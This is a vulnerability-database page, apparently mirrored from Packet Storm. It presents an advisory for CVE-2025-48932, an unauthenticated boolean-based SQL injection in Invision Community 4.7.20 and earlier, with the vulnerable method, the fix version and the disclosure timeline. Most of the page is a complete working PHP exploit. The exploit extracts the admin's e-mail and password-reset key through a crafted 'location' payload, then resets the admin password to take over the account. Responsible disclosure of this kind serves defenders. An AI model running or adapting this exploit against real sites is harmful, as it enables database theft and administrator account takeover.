Lucene search
K

📄 Invision Community 4.7.20 SQL Injection

🗓️ 23 Jul 2025 00:00:00Reported by EgiXType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 244 Views

Invision Community 4.7.20 and earlier allows unauthenticated boolean-based injection via calendar search location with GeoLocation.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-48932
23 Jul 202510:13
circl
CNNVD
Invision Community 安全漏洞
28 Jul 202500:00
cnnvd
CVE
CVE-2025-48932
23 Jul 202510:13
cve
Exploit DB
Invision Community 4.7.20 - (calendar/view.php) SQL Injection
28 Jul 202500:00
exploitdb
Positive Technologies
PT-2025-30554
23 Jul 202500:00
ptsecurity
----------------------------------------------------------------------------
    Invision Community <= 4.7.20 (calendar/view.php) SQL Injection Vulnerability
    ----------------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://invisioncommunity.com
    
    
    [-] Affected Versions:
    
    Certain 4.x versions before 4.7.21.
    
    
    [-] Vulnerability Description:
    
    The vulnerability is located within the
    /applications/calendar/modules/front/calendar/view.php script.
    Specifically, in the IPS\calendar\modules\front\calendar\view::search()
    method: user input passed through the "location" request parameter is not
    properly sanitized before being used to construct a SQL query. This can be
    exploited by remote, unauthenticated attackers to e.g. read sensitive data
    from the database through boolean-based SQL Injection attacks. Successful
    exploitation of this vulnerability requires the "calendar" application to
    be installed and a "GeoLocation feature" (like Google Maps) to be
    configured.
    
    NOTE: SQL Injection vulnerabilities in Invision Community 4.x might lead to
    admin account takeover and RCE attacks, by resetting the admin's password.
    However, starting from version 4.7.18, a new security encryption key has
    been introduced within the password reset mechanism. As such, this attack
    vector won't work anymore with versions >= 4.7.18.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2025-48932.php
    
    
    [-] Solution:
    
    Upgrade to version 4.7.21 or later.
    
    
    [-] Disclosure Timeline:
    
    [16/05/2025] - Vendor notified
    [27/05/2025] - Version 4.7.21 released
    [28/05/2025] - CVE identifier requested
    [28/05/2025] - CVE identifier assigned
    [23/07/2025] - Public disclosure
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures program (cve.org) has assigned the
    name CVE-2025-48932 to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    http://karmainsecurity.com/KIS-2025-06
    
    
    --- CVE-2025-48932.php poc ---
    
    <?php
    
    /*
        ----------------------------------------------------------------------------
        Invision Community <= 4.7.20 (calendar/view.php) SQL Injection Vulnerability
        ----------------------------------------------------------------------------
    
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://invisioncommunity.com
    
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
    
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2025-06
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
    
    if ($argc != 2) die("\nUsage: php $argv[0] <URL>\n\n");
    
    $url = $argv[1];
    $ch = curl_init();
    
    @unlink("./cookies.txt");
    
    curl_setopt($ch, CURLOPT_URL, "{$url}");
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_COOKIEJAR, "./cookies.txt");
    curl_setopt($ch, CURLOPT_COOKIEFILE, "./cookies.txt");
    
    if (!preg_match('/csrfKey: "([^"]+)"/i', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");
    
    $params = ["app" => "calendar", "module" => "calendar", "controller" => "view", "do" => "search", "form_submitted" => 1, "csrfKey" => $csrf[1]];
    
    function sql_injection($sql)
    {
        global $ch, $params;
    
        $min = true;
        $idx = 1;
    
        while (1)
        {
            $test = 256;
    
            for ($i = 7; $i >= 0; $i--)
            {
                $test = $min ? $test - pow(2, $i) : $test + pow(2, $i);
                $params["location"] = "'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,0x31)))#";
                curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
                $min = preg_match("/elErrorMessage/", curl_exec($ch));
            }
    
            if (($chr = $min ? $test - 1 : $test) == 0) break;
            $data .= chr($chr);
            $min = true;
            $idx++;
            print "\r[*] Data: {$data}";
        }
    
        return $data;
    }
    
    print "[+] Step 1: fetching admin's e-mail address\n";
    
    $email = sql_injection("SELECT email FROM core_members WHERE member_id=1");
    
    print "\n[+] Step 2: go to {$url}index.php?/lostpassword/ and request a password reset by using the above e-mail. When you're done press enter.";
    
    fgets(STDIN);
    
    print "[+] Step 3: fetching the password reset key\n";
    
    $vid = sql_injection("SELECT vid FROM core_validating WHERE member_id=1 AND lost_pass=1 ORDER BY entry_date DESC LIMIT 1");
    
    print "\n[+] Step 4: taking over the admin account by resetting their password\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}index.php?/lostpassword/");
    
    $passwd = md5(time());
    $params = "do=validate&vid={$vid}&mid=1&password={$passwd}&password_confirm={$passwd}&resetpass_submitted=1&csrfKey={$csrf[1]}";
    
    curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
    
    if (!preg_match("/301 Moved Permanently/i", curl_exec($ch))) die("[-] Attack failed!\n");
    
    print "[+] Pwned! You can now login with {$email}:{$passwd}\n";

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation